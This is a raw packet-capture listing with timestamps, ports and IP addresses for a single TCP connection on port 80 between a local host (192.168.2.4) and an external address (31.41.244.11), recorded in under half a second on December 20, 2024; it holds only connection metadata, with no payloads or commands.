Dec 20, 2024 09:12:12.466538906 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.466556072 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.467370987 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.467423916 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.467506886 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.467557907 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.468355894 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.468419075 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.468504906 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.468556881 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.469381094 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.469429016 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.469517946 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.469564915 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.470292091 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.470341921 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.470402002 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.470453978 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.471292019 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.471348047 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.471426964 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.471477985 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.472233057 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.472279072 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.472367048 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.472413063 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.473284006 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.473335028 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.473427057 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.473474026 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.474199057 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.474248886 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.474313974 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.474359989 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.475208998 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.475255966 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.475336075 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.475383043 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.476210117 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.476274967 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.476289034 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.476311922 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.477180958 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.477225065 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.477277040 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.477323055 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.478142977 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.478190899 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.478245974 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.478291035 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.479126930 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.479176044 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.479247093 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.479290962 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.480124950 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.480175018 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.480227947 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.480274916 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.481118917 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.481165886 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.481214046 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.481259108 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.482193947 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.482250929 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.482517958 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.482564926 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.483107090 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.483151913 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.483248949 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.483294964 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.484074116 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.484122992 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.484183073 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.484229088 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.485047102 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.485090971 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.485177040 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.485224962 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.486093998 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.486140013 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.486191988 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.486238956 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.487046003 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.487092018 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.487143993 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.487190008 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.488023043 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.488070965 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.488111973 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.488156080 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.489027977 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.489073992 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.489166021 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.489212990 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.489980936 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.490040064 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.490217924 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.490263939 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.490989923 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.491034031 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.491071939 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.491116047 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.491986990 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.492037058 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.492116928 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.492161036 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.492933035 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.492975950 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.493010044 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.493057013 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.493885040 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.493932962 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.493968964 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.494014978 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.494967937 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.495013952 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.495014906 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.495059013 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.495876074 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.495922089 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.495980024 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.496030092 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.496870995 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.496938944 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.497001886 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.497051001 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.497843981 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.497900009 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.497956991 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.498004913 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.498809099 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.498852968 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.498940945 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.498986959 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.499747038 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.499792099 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.640705109 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.640754938 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.640820026 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.640863895 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.641185999 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.641230106 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.641273975 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.641344070 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.642206907 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.642405033 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.642453909 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.643145084 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.643188000 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.643191099 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.643245935 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.644186020 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.644232035 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.644277096 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.644324064 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.645123005 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.645168066 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.645220041 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.645263910 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.646100044 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.646140099 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.646197081 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.646243095 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.647085905 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.647130013 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.647218943 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.647262096 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.648081064 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.648195028 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.648250103 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.649022102 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.649147034 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.649194956 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.650017023 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.650058985 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.650132895 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.650178909 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.651009083 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.651053905 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.651196957 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.651241064 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.651983023 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.652028084 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.652081966 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.652120113 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.652986050 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.653016090 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.653032064 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.653048992 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.653959036 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.654001951 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.654053926 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.654100895 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.654953957 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.654998064 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.655049086 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.655090094 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.655924082 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.655967951 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.656166077 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.656208992 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.656917095 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.656960964 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.657188892 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.657241106 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.657922029 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.657964945 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.658092976 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.658137083 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.658898115 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.658936024 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.658996105 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.659037113 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.659871101 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.659914017 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.659996986 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.660037041 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.660878897 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.660922050 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.660978079 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.661019087 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.661820889 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.661864996 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.661881924 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.661923885 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.662831068 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.662873983 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.662894011 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.662940025 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.663806915 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.663853884 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.663928986 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.663971901 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.664890051 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.664941072 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.664990902 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.665040016 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.665764093 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.665808916 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.665859938 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.665901899 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.666748047 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.666791916 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.666881084 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.666924953 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.667749882 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.667793989 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.667862892 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.667907000 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.668704033 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.668747902 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.668833971 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.668874025 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.669699907 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.669742107 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.669775963 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.669821978 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.670676947 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.670731068 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.670783043 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.670828104 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.671684027 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.671727896 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.671796083 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.671843052 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.672683954 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.672728062 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.672849894 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.672898054 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.673645020 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.673715115 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.673782110 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.673825979 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.674627066 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.674670935 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.674717903 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.674765110 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.675609112 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.675648928 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.675705910 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.675748110 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.676615000 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.676661015 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.676712036 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.676759005 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.677578926 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.677623034 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.677761078 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.677809954 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.678579092 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.678622961 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.678699017 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.678742886 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.679531097 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.679697037 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.679757118 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.680592060 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.680821896 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.680879116 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.681538105 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.681586027 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.681602955 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.681718111 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.682527065 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.682570934 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.682629108 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.682673931 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.683482885 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.683525085 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.683598995 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.683640003 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.684473991 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.684523106 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.684566975 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.684611082 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.685482979 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.685570002 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.685626984 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.686598063 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.686732054 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.686791897 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.687444925 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.687500000 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.687544107 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.688426018 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.688486099 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.688647032 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.689423084 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.689481974 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.689541101 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.689589977 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.690371037 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.690458059 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.690515041 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.691389084 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.691487074 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.691545010 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.692298889 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.692373991 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.833029032 CET	80	49759	31.41.244.11	192.168.2.4
